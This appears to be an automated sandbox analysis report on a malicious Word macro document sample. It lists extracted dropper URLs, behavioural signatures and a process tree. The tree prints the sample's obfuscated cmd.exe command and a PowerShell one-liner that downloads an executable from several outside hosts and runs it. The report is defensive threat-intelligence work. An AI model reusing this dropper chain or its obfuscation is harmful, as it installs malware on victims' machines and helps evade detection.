Analysis
- max time kernel
117s - max time network
121s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
- submitted
03/05/2024, 10:05
General
- Target 10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc
- Size 111KB
- Sample240503-l4vzmacb5x
- SHA256 c0eceee4008b638421d54fe0b2db5e1cdf8634dd69b2516f75a99e389f15b130
Malware Config
Extracted
-
ps1
-
exe.dropper
http://overflowinteractive.com/aqZbQlCLC
-
exe.dropper
http://bobfeick.com/iOEMwk9
-
exe.dropper
http://herbalzone.jo/8gBsrhBFza
-
exe.dropper
http://www.cabdjw.gov.cn/3mSlpqw
-
exe.dropper
http://thiena.com/iv66WWS
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
- Drops file in Windows directory 1 IoCs
- Office loads VBA resources, possible macro or embedded object present
- Modifies Internet Explorer settings 1 TTPs 31 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /V^:^O/C"^s^e^t ^g^H^s=^~^@^|^ ^q^j^9 rg$^ G^z^Q^ ^D^[^`^ rv^5^ ^m^j^b^ ^L^s^6^ ^[^J^u^ ^k^~^h^ ^P^,^M^ ^{^F^l^ %V;^ ^I^4^9^ ^s^M^H^ ^0^[^F N^Z^-^ ^8^u^w^}^iv^Q^}^Q)^]^{%^m^{^h^9^j^{c^P^t^A^t^2^P^+^aj^t^Sc^m^`^y^}^f^&p^;^2^z^_^k^.^8^b^a^J^-^Ee^$d^@r^L^Q^P^b^'^fC^;^`^k^u^D^J^p0^A^j^mC^f^?N\^$^9^a%^ ^1^P^i^m^,^BNec^4L^tN^bR^I^f^|^;^-^w^P^j^e^d^e^I^k^w^f^D^o3^j^Lv(^-^AnV^@^d^I^W^}^k^;^@^{^a)^<^.^B^D^3^Q^T^A^t^P^|^f^8i^+^$^ ^9^~^ ^_^q^b^,^E^}^D^K^@^:^E^J^`T^H^I^Q/^-^$^0^G^T(x^f^|^e^\^X^Yl=)^T^i^8^L^y^F^[^5^:^d^D^z^H^a^9^ ^e^oC^|^+^lv^A^3n^E^eN^w^a^5I^o^;^s^{^D/^+^>^.^i^q^L^W^e^-^P^K^br^[^a^s)^3^$^:^BR^{^Mv^'^y^*^\^Dr^<^J^j^t^=^Z^h^{^\^:^])^Z^~L^h^Y%^Kh^y^K^.O^McE^$^9^=q ^0^b^tn^?c^u^i^`^@^w^ U^W^_^K^G^>^:^J;^A^&^I^W^'^#^$^[^;^g(^7^}^F^h^u)^Kc^Gv^ma^p_^a^e^s^w^Ir^I^p_^o^U^:^5^f^3a/^;^T^Q^|^'pC^<^e^i^q%^x^ ^bv^e^:^>^]^.c%^k^'^e^X^y^+^f^p^w^W^Dt^O^Q^F^f^L^z^;^P^4^$VvC^+^F^:^9^'^<^T^,^\^H^x^1^'^HN^a^+^y^W{cB^7^w^i^1^gV^l^a^,^@^b^f^+^q^u^<^xk^p^[^{^;^:^'^@^kv^6^[%n^_r8^e6^L^3^$^:^t^p^=^s^|^O^D^s^TVA^5n^ ^f^#^x^`^$^Y^]K;c^6^;^'^,@^H^1^t^}^h^1n^}^'^5^7O^f^'^\cn^ ^\^a^o^=^l^7^+^ ^_^~%^WN^y^9^Qz^k^S^z^ ^=^]^$^-^2^{^;^e^m^Y)^=V^K'^?^1/^@^g^7A^'n^U^`(^-V^2^t^:^T^u^i^u^H^ ^l^P^M^y^p^8^h^a^S^#^1^&^.^iC^T^'^0t^m^S^k7^e^W^k^3^lW^~^$^p^6^{)^26^k^+^Fv^Z^s^_i$.^&/^K^z?^m^`M^>o^4)^Fc^\?^d^.^z^|^b^a^1^F^4n^G^#^~^e^f^<^@^i^[^8^1^h^j^W^I^t^o^3^W/^EH^I/^1%^8^:1^;^+^p^q^Ju^t^1v^+^tu^f^A^h^t^O^'^@%^T^y^w^.^q^&^q^;^j^6^p^&^l^Q^l^D^g^A^S^Q^a^}^m^l^H_^3^}^B^T/ow^en^g^0^Ec^Y^J^w^.^9^?^hv^k^<^{^oR\^~^g^K^*^m^.V^0^L^w^J^@(^j^p^0q^dg^p)^b^dr^s^a^l^K^+cv^ %^.^jC^E^w^]^\^O^w^O^1^<^w^'^}^E/^|^pC/^k^}X^:^$^G^?^p^*^b^?^t^.)^O^tc^K^P^h^0^-^f^@^@^T%^a{^I^|z^S^o^;^F^Y^q^T^Bp^u^k^h1N^Pr^pe^4^s^,^{^[^B^@%^;^g^H^M^@^8^p^J^{/^Z^U^{^oN^W^H^j^zb(^.^X^H^3^e^e^T^3nv^G^g^o^q^?^-^zC^4^=^l^0^a^G^a^A^9W^b^M^X^5r^Y^>^\e^@^<V^h^\T^u/^T^A^3/^Dc^[^:^i^[B^pR^?^Mt]^kR^t#]^1^h^+^z^K^@V^2^{^9^}^z^t^k^3n^*^w^,r^#^M)^_^k^E^?^7^u^O^-c^D^i8^+R/^;^&^h^m^]^>^3^o^S/^xc^>^u^w^.^_^m^Q^k^MV^mc^s^{^>^i^x^k^u^e^,^'n^f^:0n^b^-^O^u^o^](^L^b^pcH/^d^p^y/%^3^I^:^X^M^Lp^8^\^Z^t^;r^M^t%^B^l^h^O^#^4^@^2^8^dC^D^m^Z^L^?^-^zCt^j^Tl^z^H^A^Qr^H^i^b=^Jv^Z^H^f^j^q^8^$^4^a^K^P^Y/Nr'^m^b^l^]^o(^Jcc^1n^p^.^3^F^We^_c?v^:)^k^i^[t^y^t^.^9/c^X}^-^a^z^q)r^T^y%^e^s^#^e^t^Z^m)n^{^u^W^i^*^U}^w^*Nc^o^dr^Hlv^`^p^f^|5^ar^'^O^x^e^?l^2v^;^t^l^o^m^F-/^~^z^7/V^*N:^xr^?^p^=^i^$^t.^=^ftR^fn^h^ ^U^@^'^\^K#^=^~^p^,^h@^i^j^hN^.^S^O^1^4^<$k^W^A^;%^{^S^t^:^2Cn^>^L^#^e^T^}^E^i^B-^P^l^=^<^ C^k^3'^b/^M^&^e/^a^f^W^2^s^a^.V^y^Y^t^I^Yw^e_/^zN^a^#^|^ %v^.^t^&^S^7c^1^&^:^e^,^2^d^j^f^:^x^b^f^&^m^o^Q^bC^-^+^3^P^w^Z^f%^eC^:^1n^=^[/^=^Y^>^H^W0^BC^K^#^`^7^a^U^u^$^$'^xw^ ^T^?^Y^l^ZC^.^l^H^`^J^e^O^{^u^h^YN^$^s^I^S(r^a^m^_e%^:^}^w^6^1)^o^2^e^5p&&^f^or /^L %^1 ^in (^14^79^,^-^4^,^3)^d^o ^s^e^t R^z^G=!R^z^G!!^g^H^s:~%^1,1!&&^i^f %^1 ^l^e^q ^3 c^a^l^l %R^z^G:^~^-3^7^0%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell $aKW=new-object Net.WebClient;$Ohh='http://overflowinteractive.com/aqZbQlCLC@http://bobfeick.com/iOEMwk9@http://herbalzone.jo/8gBsrhBFza@http://www.cabdjw.gov.cn/3mSlpqw@http://thiena.com/iv66WWS'.Split('@');$zQW = '511';$fAD=$env:public+'\'+$zQW+'.exe';foreach($IJK in $Ohh){try{$aKW.DownloadFile($IJK, $fAD);Invoke-Item $fAD;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Normal.dotm
memory/2212-16-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-10-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-14-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-13-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-92-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-128-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-129-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-57-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-40-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-18-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-20-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-19-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-17-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-0-0x000000002F971000-0x000000002F972000-memory.dmp
memory/2212-2-0x000000007173D000-0x0000000071748000-memory.dmp
memory/2212-77-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-15-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-64-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-11-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-12-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-9-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-8-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-7-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-31-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-6-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-141-0x000000007173D000-0x0000000071748000-memory.dmp
memory/2212-142-0x0000000000440000-0x0000000000540000-memory.dmp
memory/2212-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2212-158-0x000000007173D000-0x0000000071748000-memory.dmp